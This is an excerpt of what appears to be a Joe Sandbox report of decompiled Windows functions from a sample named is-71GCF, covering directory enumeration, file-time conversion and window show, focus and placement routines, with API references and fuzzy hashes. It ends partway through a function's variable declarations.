                                                          • Instruction ID: 3a976878209395eab88a851e065c39672c09d3fc7a7bc3c56a70336765bf3655
                                                          • Opcode Fuzzy Hash: 57442afee4419b1d50bfbaf5f1af8c694b826538d3a338e2f11ef4f2f3517b00
                                                          • Instruction Fuzzy Hash: C4417971A006189FDB21DF66CC85A9EB7B8EF48705F5044AAF804E7382D67C9E48CE58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 52%
                                                          			E0045DB60(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi, intOrPtr _a4) {
                                                          				int _v8;
                                                          				void* _v12;
                                                          				struct _WIN32_FIND_DATAA _v332;
                                                          				char _v336;
                                                          				void* _t49;
                                                          				intOrPtr _t60;
                                                          				intOrPtr _t63;
                                                          				void* _t66;
                                                          				void* _t68;
                                                          				void* _t69;
                                                          				intOrPtr _t70;
                                                          
                                                          				_t68 = _t69;
                                                          				_t70 = _t69 + 0xfffffeb4;
                                                          				_v336 = 0;
                                                          				_t66 = __edx;
                                                          				_t49 = __eax;
                                                          				_push(_t68);
                                                          				_push(0x45dc91);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t70;
                                                          				_v8 = SetErrorMode(1);
                                                          				_push(_t68);
                                                          				_push(0x45dc71);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t70;
                                                          				E0042C614(_t66,  &_v336);
                                                          				E004036C4( &_v336, 0x45dca8);
                                                          				_v12 = FindFirstFileA(E00403880(_v336),  &_v332);
                                                          				if(_v12 == 0xffffffff) {
                                                          					_pop(_t60);
                                                          					 *[fs:eax] = _t60;
                                                          					_push(0x45dc78);
                                                          					return SetErrorMode(_v8);
                                                          				} else {
                                                          					_push(_t68);
                                                          					_push(0x45dc53);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t70;
                                                          					do {
                                                          						if(E0045CA08( &_v332) != 0) {
                                                          							E004036A4( &_v336, 0x104,  &(_v332.cFileName));
                                                          							E0045D668( *((intOrPtr*)(_a4 - 4)), _v336, _t49, 0, 0, 0);
                                                          						}
                                                          					} while (FindNextFileA(_v12,  &_v332) != 0);
                                                          					_pop(_t63);
                                                          					 *[fs:eax] = _t63;
                                                          					_push(0x45dc5a);
                                                          					return FindClose(_v12);
                                                          				}
                                                          			}














                                                          0x0045db61
                                                          0x0045db63
                                                          0x0045db6e
                                                          0x0045db74
                                                          0x0045db76
                                                          0x0045db7a
                                                          0x0045db7b
                                                          0x0045db80
                                                          0x0045db83
                                                          0x0045db8d
                                                          0x0045db92
                                                          0x0045db93
                                                          0x0045db98
                                                          0x0045db9b
                                                          0x0045dbad
                                                          0x0045dbbd
                                                          0x0045dbd3
                                                          0x0045dbda
                                                          0x0045dc5c
                                                          0x0045dc5f
                                                          0x0045dc62
                                                          0x0045dc70
                                                          0x0045dbdc
                                                          0x0045dbde
                                                          0x0045dbdf
                                                          0x0045dbe4
                                                          0x0045dbe7
                                                          0x0045dbea
                                                          0x0045dbf7
                                                          0x0045dc10
                                                          0x0045dc23
                                                          0x0045dc23
                                                          0x0045dc38
                                                          0x0045dc3e
                                                          0x0045dc41
                                                          0x0045dc44
                                                          0x0045dc52
                                                          0x0045dc52

                                                          APIs
                                                          • SetErrorMode.KERNEL32(00000001,00000000,0045DC91), ref: 0045DB88
                                                          • FindFirstFileA.KERNEL32(00000000,?,00000000,0045DC71,?,00000001,00000000,0045DC91), ref: 0045DBCE
                                                          • FindNextFileA.KERNEL32(000000FF,?,00000000,0045DC53,?,00000000,?,00000000,0045DC71,?,00000001,00000000,0045DC91), ref: 0045DC33
                                                          • FindClose.KERNEL32(000000FF,0045DC5A,0045DC53,?,00000000,?,00000000,0045DC71,?,00000001,00000000,0045DC91), ref: 0045DC4D
                                                          • SetErrorMode.KERNEL32(?,0045DC78,0045DC71,?,00000001,00000000,0045DC91), ref: 0045DC6B
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Find$ErrorFileMode$CloseFirstNext
                                                          • String ID:
                                                          • API String ID: 3300381671-0
                                                          • Opcode ID: 2195dfeef245148aa855689ff73322b656d2a2f596cd473620ea4e1816b94b9e
                                                          • Instruction ID: aa5e3b924dc6f30bc68a8fe23e2d34734619f11adc0ff5b164dbd648a97e99f3
                                                          • Opcode Fuzzy Hash: 2195dfeef245148aa855689ff73322b656d2a2f596cd473620ea4e1816b94b9e
                                                          • Instruction Fuzzy Hash: B731A270A00608AFDB21DF61CC51BDEB7BCDF49705F5144BAB908E3392D678AE44CA68
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00477D2C(signed int __eax) {
                                                          				signed int _t8;
                                                          				void* _t11;
                                                          				intOrPtr _t21;
                                                          				signed int _t24;
                                                          				void* _t25;
                                                          
                                                          				_t8 = __eax;
                                                          				_t24 = __eax;
                                                          				if( *0x4adf64 != 0) {
                                                          					_t8 = E00418590( *0x4adf64);
                                                          					if(_t8 != 0) {
                                                          						if( *((char*)( *0x4adf64 + 0xc7)) == 0 ||  *((char*)(_t24 + 0x1b5)) != 0) {
                                                          							L5:
                                                          							_t11 = 0;
                                                          						} else {
                                                          							_t21 =  *0x48d628; // 0x21c2410
                                                          							if(IsIconic( *(_t21 + 0x20)) == 0) {
                                                          								_t11 = 1;
                                                          							} else {
                                                          								goto L5;
                                                          							}
                                                          						}
                                                          						_t25 = _t11;
                                                          						_t8 = GetWindowLongA(E004183F8( *0x4adf64), 0xfffffff0) & 0xffffff00 | (_t14 & 0x10000000) != 0x00000000;
                                                          						if(_t25 != _t8) {
                                                          							if(_t25 == 0) {
                                                          								return ShowWindow(E004183F8( *0x4adf64), 0);
                                                          							}
                                                          							return ShowWindow(E004183F8( *0x4adf64), 5);
                                                          						}
                                                          					}
                                                          				}
                                                          				return _t8;
                                                          			}








                                                          0x00477d2c
                                                          0x00477d2d
                                                          0x00477d36
                                                          0x00477d41
                                                          0x00477d48
                                                          0x00477d56
                                                          0x00477d73
                                                          0x00477d73
                                                          0x00477d61
                                                          0x00477d61
                                                          0x00477d71
                                                          0x00477d77
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00477d71
                                                          0x00477d79
                                                          0x00477d92
                                                          0x00477d97
                                                          0x00477d9b
                                                          0x00000000
                                                          0x00477dbe
                                                          0x00000000
                                                          0x00477daa
                                                          0x00477d97
                                                          0x00477d48
                                                          0x00477dc4

                                                          APIs
                                                          • IsIconic.USER32(?), ref: 00477D6A
                                                          • GetWindowLongA.USER32 ref: 00477D88
                                                          • ShowWindow.USER32(00000000,00000005,00000000,000000F0,004ADF64,0047762C,00477658,00000000,00477678,?,?,00000001,004ADF64), ref: 00477DAA
                                                          • ShowWindow.USER32(00000000,00000000,00000000,000000F0,004ADF64,0047762C,00477658,00000000,00477678,?,?,00000001,004ADF64), ref: 00477DBE
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Window$Show$IconicLong
                                                          • String ID:
                                                          • API String ID: 2754861897-0
                                                          • Opcode ID: bee34f21e1887c5c58d5faed8c17502e83f3230d412d958119f73cd5178b6203
                                                          • Instruction ID: 9562a1e82bdd3b1ca890772f211df974c1dcec169affa1dd4bf1b188884a0154
                                                          • Opcode Fuzzy Hash: bee34f21e1887c5c58d5faed8c17502e83f3230d412d958119f73cd5178b6203
                                                          • Instruction Fuzzy Hash: C8017570A0C3409EE720B765DD45FF727895F09314F48447AB8169B6A3DA7D8C44875D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00406FEC(void* __eax) {
                                                          				short _v6;
                                                          				short _v8;
                                                          				struct _FILETIME _v16;
                                                          				struct _WIN32_FIND_DATAA _v336;
                                                          				void* _t16;
                                                          
                                                          				_t16 = FindFirstFileA(E00403880(__eax),  &_v336);
                                                          				if(_t16 == 0xffffffff) {
                                                          					L3:
                                                          					_v8 = 0xffffffff;
                                                          				} else {
                                                          					FindClose(_t16);
                                                          					if((_v336.dwFileAttributes & 0x00000010) != 0) {
                                                          						goto L3;
                                                          					} else {
                                                          						FileTimeToLocalFileTime( &(_v336.ftLastWriteTime),  &_v16);
                                                          						if(FileTimeToDosDateTime( &_v16,  &_v6,  &_v8) == 0) {
                                                          							goto L3;
                                                          						}
                                                          					}
                                                          				}
                                                          				return _v8;
                                                          			}








                                                          0x00407007
                                                          0x0040700f
                                                          0x00407045
                                                          0x00407045
                                                          0x00407011
                                                          0x00407012
                                                          0x0040701e
                                                          0x00000000
                                                          0x00407020
                                                          0x0040702b
                                                          0x00407043
                                                          0x00000000
                                                          0x00000000
                                                          0x00407043
                                                          0x0040701e
                                                          0x00407053

                                                          APIs
                                                          • FindFirstFileA.KERNEL32(00000000,?), ref: 00407007
                                                          • FindClose.KERNEL32(00000000,00000000,?), ref: 00407012
                                                          • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0040702B
                                                          • FileTimeToDosDateTime.KERNEL32 ref: 0040703C
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: FileTime$Find$CloseDateFirstLocal
                                                          • String ID:
                                                          • API String ID: 2659516521-0
                                                          • Opcode ID: e4b6d1b4c279bb9197bc83ebcfb047ca9b5590963a2a8d0768558ea967f0da3f
                                                          • Instruction ID: 182d636030489825f0dfe128ab23e0530f4454b1f6441d81bde3cfb923cc52d6
                                                          • Opcode Fuzzy Hash: e4b6d1b4c279bb9197bc83ebcfb047ca9b5590963a2a8d0768558ea967f0da3f
                                                          • Instruction Fuzzy Hash: 74F0F4B2D0060CA6CB60EAA98C85ADF73AC9B04324F1017B7B518F21D2E6389B044B55
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 60%
                                                          			E0045CA54(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi) {
                                                          				char _v5;
                                                          				void* _v12;
                                                          				struct _WIN32_FIND_DATAA _v332;
                                                          				char _v336;
                                                          				intOrPtr _t47;
                                                          				intOrPtr _t48;
                                                          				void* _t52;
                                                          				void* _t53;
                                                          				intOrPtr _t54;
                                                          
                                                          				_t52 = _t53;
                                                          				_t54 = _t53 + 0xfffffeb4;
                                                          				_v336 = 0;
                                                          				_push(_t52);
                                                          				_push(0x45cb28);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t54;
                                                          				_v5 = 0;
                                                          				E0042C614(__eax,  &_v336);
                                                          				E004036C4( &_v336, 0x45cb44);
                                                          				_v12 = FindFirstFileA(E00403880(_v336),  &_v332);
                                                          				if(_v12 == 0xffffffff) {
                                                          					_pop(_t47);
                                                          					 *[fs:eax] = _t47;
                                                          					_push(0x45cb2f);
                                                          					return E00403548( &_v336);
                                                          				} else {
                                                          					_push(_t52);
                                                          					_push(0x45cb08);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t54;
                                                          					while(E0045CA08( &_v332) == 0) {
                                                          						if(FindNextFileA(_v12,  &_v332) != 0) {
                                                          							continue;
                                                          						}
                                                          						L5:
                                                          						_pop(_t48);
                                                          						 *[fs:eax] = _t48;
                                                          						_push(0x45cb0f);
                                                          						return FindClose(_v12);
                                                          						goto L7;
                                                          					}
                                                          					_v5 = 1;
                                                          					goto L5;
                                                          				}
                                                          				L7:
                                                          			}












                                                          0x0045ca55
                                                          0x0045ca57
                                                          0x0045ca62
                                                          0x0045ca6c
                                                          0x0045ca6d
                                                          0x0045ca72
                                                          0x0045ca75
                                                          0x0045ca78
                                                          0x0045ca8b
                                                          0x0045ca9b
                                                          0x0045cab1
                                                          0x0045cab8
                                                          0x0045cb11
                                                          0x0045cb14
                                                          0x0045cb17
                                                          0x0045cb27
                                                          0x0045caba
                                                          0x0045cabc
                                                          0x0045cabd
                                                          0x0045cac2
                                                          0x0045cac5
                                                          0x0045cac8
                                                          0x0045caef
                                                          0x00000000
                                                          0x00000000
                                                          0x0045caf1
                                                          0x0045caf3
                                                          0x0045caf6
                                                          0x0045caf9
                                                          0x0045cb07
                                                          0x00000000
                                                          0x0045cb07
                                                          0x0045cad7
                                                          0x00000000
                                                          0x0045cad7
                                                          0x00000000

                                                          APIs
                                                          • FindFirstFileA.KERNEL32(00000000,?,00000000,0045CB28), ref: 0045CAAC
                                                          • FindNextFileA.KERNEL32(000000FF,?,00000000,0045CB08,?,00000000,?,00000000,0045CB28), ref: 0045CAE8
                                                          • FindClose.KERNEL32(000000FF,0045CB0F,0045CB08,?,00000000,?,00000000,0045CB28), ref: 0045CB02
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Find$File$CloseFirstNext
                                                          • String ID:
                                                          • API String ID: 3541575487-0
                                                          • Opcode ID: 18e7f5f29664dc6f037b9c03b4cb6033851291cd26e1493b1af31712b729ed6f
                                                          • Instruction ID: fa45188088062e0ad227c2408292bd03dc7ae73c41cd978a3b6dc7f86190da9c
                                                          • Opcode Fuzzy Hash: 18e7f5f29664dc6f037b9c03b4cb6033851291cd26e1493b1af31712b729ed6f
                                                          • Instruction Fuzzy Hash: DB21D871904708AEDB11DB65DC82ADEBBBCDB49715F5044F7F808E2292D63C5E48CA68
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E004243F4(void* __eax) {
                                                          				struct HWND__* _t10;
                                                          				void* _t21;
                                                          
                                                          				_t21 = __eax;
                                                          				_t10 = IsIconic( *(__eax + 0x20));
                                                          				_t25 = _t10;
                                                          				if(_t10 != 0) {
                                                          					SetActiveWindow( *(_t21 + 0x20));
                                                          					E00423864( *(_t21 + 0x20), 9, _t25);
                                                          					E00423D2C(_t21);
                                                          					_t10 =  *0x48d62c; // 0x21c0660
                                                          					_t24 =  *((intOrPtr*)(_t10 + 0x3c));
                                                          					if( *((intOrPtr*)(_t10 + 0x3c)) != 0) {
                                                          						_t10 = SetFocus(E004183F8(_t24));
                                                          					}
                                                          					if( *((short*)(_t21 + 0xd6)) != 0) {
                                                          						return  *((intOrPtr*)(_t21 + 0xd4))();
                                                          					}
                                                          				}
                                                          				return _t10;
                                                          			}





                                                          0x004243f6
                                                          0x004243fc
                                                          0x00424401
                                                          0x00424403
                                                          0x00424409
                                                          0x00424416
                                                          0x0042441d
                                                          0x00424422
                                                          0x00424427
                                                          0x0042442c
                                                          0x00424436
                                                          0x00424436
                                                          0x00424443
                                                          0x00000000
                                                          0x0042444d
                                                          0x00424443
                                                          0x00424455

                                                          APIs
                                                          • IsIconic.USER32(?), ref: 004243FC
                                                          • SetActiveWindow.USER32(?,?,?,004659CB), ref: 00424409
                                                            • Part of subcall function 00423864: ShowWindow.USER32(00410868,00000009,?,00000000,0041EFBC,00423B52,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000), ref: 0042387F
                                                            • Part of subcall function 00423D2C: SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000013,?,021C2410,00424422,?,?,?,004659CB), ref: 00423D67
                                                          • SetFocus.USER32(00000000,?,?,?,004659CB), ref: 00424436
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Window$ActiveFocusIconicShow
                                                          • String ID:
                                                          • API String ID: 649377781-0
                                                          • Opcode ID: 329907123489f053d4dfacb74e674dc9eab2ad7c4303f55ee0642e52c2bcf29c
                                                          • Instruction ID: 6b08ad20b92cc5706529d323aabee2376143d053ec5da24cf7c0481393cc913a
                                                          • Opcode Fuzzy Hash: 329907123489f053d4dfacb74e674dc9eab2ad7c4303f55ee0642e52c2bcf29c
                                                          • Instruction Fuzzy Hash: FDF0BD61B012208BCB00BFAAA885B9662A8AB48705F55457ABC19DF25BCA79DC018768
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00417EE6(void* __eax, int __ecx, int __edx, int _a4, int _a8) {
                                                          				struct _WINDOWPLACEMENT _v48;
                                                          				void _v64;
                                                          				int _t34;
                                                          				void* _t52;
                                                          				int _t60;
                                                          				int _t66;
                                                          
                                                          				_t60 = __ecx;
                                                          				_t66 = __edx;
                                                          				_t52 = __eax;
                                                          				if(__edx !=  *((intOrPtr*)(__eax + 0x24)) || __ecx !=  *((intOrPtr*)(__eax + 0x28)) || _a8 !=  *((intOrPtr*)(__eax + 0x2c))) {
                                                          					L5:
                                                          					if(E00418590(_t52) == 0 || IsIconic( *(_t52 + 0xc0)) != 0) {
                                                          						 *(_t52 + 0x24) = _t66;
                                                          						 *(_t52 + 0x28) = _t60;
                                                          						 *((intOrPtr*)(_t52 + 0x2c)) = _a8;
                                                          						 *((intOrPtr*)(_t52 + 0x30)) = _a4;
                                                          						if(E00418590(_t52) != 0) {
                                                          							_v48.length = 0x2c;
                                                          							GetWindowPlacement( *(_t52 + 0xc0),  &_v48);
                                                          							E00414874(_t52,  &_v64);
                                                          							memcpy( &(_v48.rcNormalPosition),  &_v64, 4 << 2);
                                                          							SetWindowPlacement( *(_t52 + 0xc0),  &_v48);
                                                          						}
                                                          					} else {
                                                          						SetWindowPos( *(_t52 + 0xc0), 0, _t66, _t60, _a8, _a4, 0x14);
                                                          					}
                                                          					_t34 = E00414678(_t52);
                                                          				} else {
                                                          					_t34 = _a4;
                                                          					if(_t34 !=  *((intOrPtr*)(__eax + 0x30))) {
                                                          						goto L5;
                                                          					}
                                                          				}
                                                          				return _t34;
                                                          			}









                                                          0x00417ef1
                                                          0x00417ef3
                                                          0x00417ef5
                                                          0x00417efa
                                                          0x00417f15
                                                          0x00417f1e
                                                          0x00417f4c
                                                          0x00417f4f
                                                          0x00417f55
                                                          0x00417f5b
                                                          0x00417f67
                                                          0x00417f69
                                                          0x00417f7b
                                                          0x00417f85
                                                          0x00417f95
                                                          0x00417fa2
                                                          0x00417fa2
                                                          0x00417f30
                                                          0x00417f45
                                                          0x00417f45
                                                          0x00417fa9
                                                          0x00417f09
                                                          0x00417f09
                                                          0x00417f0f
                                                          0x00000000
                                                          0x00000000
                                                          0x00417f0f
                                                          0x00417fb4

                                                          APIs
                                                          • IsIconic.USER32(?), ref: 00417F27
                                                          • SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417F45
                                                          • GetWindowPlacement.USER32(?,0000002C), ref: 00417F7B
                                                          • SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417FA2
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Window$Placement$Iconic
                                                          • String ID:
                                                          • API String ID: 568898626-0
                                                          • Opcode ID: 68bfa2c0b502b7b2baf9efa82266a4d1ea8c123c16acf76c31a76a1cacbb94bd
                                                          • Instruction ID: 1b48aba3109625fad1bf6926ee8665239312e083d5c35127e2aeedfc615c8c91
                                                          • Opcode Fuzzy Hash: 68bfa2c0b502b7b2baf9efa82266a4d1ea8c123c16acf76c31a76a1cacbb94bd
                                                          • Instruction Fuzzy Hash: F2014F71204104ABCB10EE69CCC5EE777ACAB49364F154566FD09DF246D739EC8187A8
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E004177B0(intOrPtr* __eax, void* __edx) {
                                                          				intOrPtr _t15;
                                                          				void* _t17;
                                                          				void* _t19;
                                                          				intOrPtr* _t20;
                                                          				void* _t27;
                                                          
                                                          				_t27 = __edx;
                                                          				_t20 = __eax;
                                                          				if(( *(__edx + 4) & 0x0000fff0) != 0xf100 ||  *((short*)(__edx + 8)) == 0x20 ||  *((short*)(__edx + 8)) == 0x2d || IsIconic( *(__eax + 0xc0)) != 0 || GetCapture() != 0) {
                                                          					L8:
                                                          					return  *((intOrPtr*)( *_t20 - 0x10))();
                                                          				}
                                                          				_t15 =  *0x48d628; // 0x21c2410
                                                          				if(_t20 ==  *((intOrPtr*)(_t15 + 0x28))) {
                                                          					goto L8;
                                                          				}
                                                          				_t17 = E0041F88C(_t20);
                                                          				_t26 = _t17;
                                                          				if(_t17 == 0) {
                                                          					goto L8;
                                                          				}
                                                          				_t19 = E00415458(_t26, 0, 0xb017, _t27);
                                                          				if(_t19 == 0) {
                                                          					goto L8;
                                                          				}
                                                          				return _t19;
                                                          			}








                                                          0x004177b3
                                                          0x004177b5
                                                          0x004177c4
                                                          0x00417817
                                                          0x00000000
                                                          0x0041781d
                                                          0x004177ed
                                                          0x004177f5
                                                          0x00000000
                                                          0x00000000
                                                          0x004177f9
                                                          0x004177fe
                                                          0x00417802
                                                          0x00000000
                                                          0x00000000
                                                          0x0041780e
                                                          0x00417815
                                                          0x00000000
                                                          0x00000000
                                                          0x00417823

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CaptureIconic
                                                          • String ID:
                                                          • API String ID: 2277910766-0
                                                          • Opcode ID: e56c5d6514986ba986c2120c682bbe9a2fdced9cbb6065aa2a235912ba21dbcc
                                                          • Instruction ID: 486017c59e2672bc12981cb63997abd8cf1bc80a42da47d17c8d115cae623615
                                                          • Opcode Fuzzy Hash: e56c5d6514986ba986c2120c682bbe9a2fdced9cbb6065aa2a235912ba21dbcc
                                                          • Instruction Fuzzy Hash: 0AF044317046014BD724BB2EC889AA763F59F44398B14883FE415C7752EB78DCC4C358
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E004243AC(void* __eax, void* __ecx) {
                                                          				int _t9;
                                                          				void* _t17;
                                                          				void* _t18;
                                                          
                                                          				_t18 = __ecx;
                                                          				_t17 = __eax;
                                                          				_t9 = IsIconic( *(__eax + 0x20));
                                                          				_t21 = _t9;
                                                          				if(_t9 == 0) {
                                                          					E00423C9C(_t17, _t18);
                                                          					SetActiveWindow( *(_t17 + 0x20));
                                                          					_t9 = E00423864( *(_t17 + 0x20), 6, _t21);
                                                          					if( *((short*)(_t17 + 0xce)) != 0) {
                                                          						return  *((intOrPtr*)(_t17 + 0xcc))();
                                                          					}
                                                          				}
                                                          				return _t9;
                                                          			}






                                                          0x004243ac
                                                          0x004243ad
                                                          0x004243b3
                                                          0x004243b8
                                                          0x004243ba
                                                          0x004243be
                                                          0x004243c7
                                                          0x004243d4
                                                          0x004243e1
                                                          0x00000000
                                                          0x004243eb
                                                          0x004243e1
                                                          0x004243f2

                                                          APIs
                                                          • IsIconic.USER32(?), ref: 004243B3
                                                            • Part of subcall function 00423C9C: EnumWindows.USER32(00423C34), ref: 00423CC0
                                                            • Part of subcall function 00423C9C: GetWindow.USER32(?,00000003), ref: 00423CD5
                                                            • Part of subcall function 00423C9C: GetWindowLongA.USER32 ref: 00423CE4
                                                            • Part of subcall function 00423C9C: SetWindowPos.USER32(00000000,tCB,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,004243C3,?,?,00423F8B), ref: 00423D1A
                                                          • SetActiveWindow.USER32(?,?,?,00423F8B,00000000,00424374), ref: 004243C7
                                                            • Part of subcall function 00423864: ShowWindow.USER32(00410868,00000009,?,00000000,0041EFBC,00423B52,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000), ref: 0042387F
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Window$ActiveEnumIconicLongShowWindows
                                                          • String ID:
                                                          • API String ID: 2671590913-0
                                                          • Opcode ID: eee3a7ac8e2d7fceff8b3454df25ed245d525021ae50c42a1418eab2fa4ecfac
                                                          • Instruction ID: 23064693743e0e6edee915c21f282c84837863b0e0412ad5de477ec2cca8a84e
                                                          • Opcode Fuzzy Hash: eee3a7ac8e2d7fceff8b3454df25ed245d525021ae50c42a1418eab2fa4ecfac
                                                          • Instruction Fuzzy Hash: 47E01AA130120087DF00FFAED8C4B9A22A8BB48304F5645BABC08CF24BD67CCC008728
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 90%
                                                          			E004127F0(intOrPtr __eax, intOrPtr* __edx) {
                                                          				intOrPtr _v8;
                                                          				char _v9;
                                                          				intOrPtr _v16;
                                                          				void* __edi;
                                                          				void* _t46;
                                                          				intOrPtr _t53;
                                                          				void* _t57;
                                                          				signed int _t60;
                                                          				void* _t68;
                                                          				signed int _t72;
                                                          				void* _t74;
                                                          				signed int _t78;
                                                          				intOrPtr _t82;
                                                          				intOrPtr _t87;
                                                          				signed int _t91;
                                                          				signed int _t92;
                                                          				signed int _t94;
                                                          				signed int _t95;
                                                          				signed int _t97;
                                                          				signed int _t98;
                                                          				signed int _t100;
                                                          				signed int _t101;
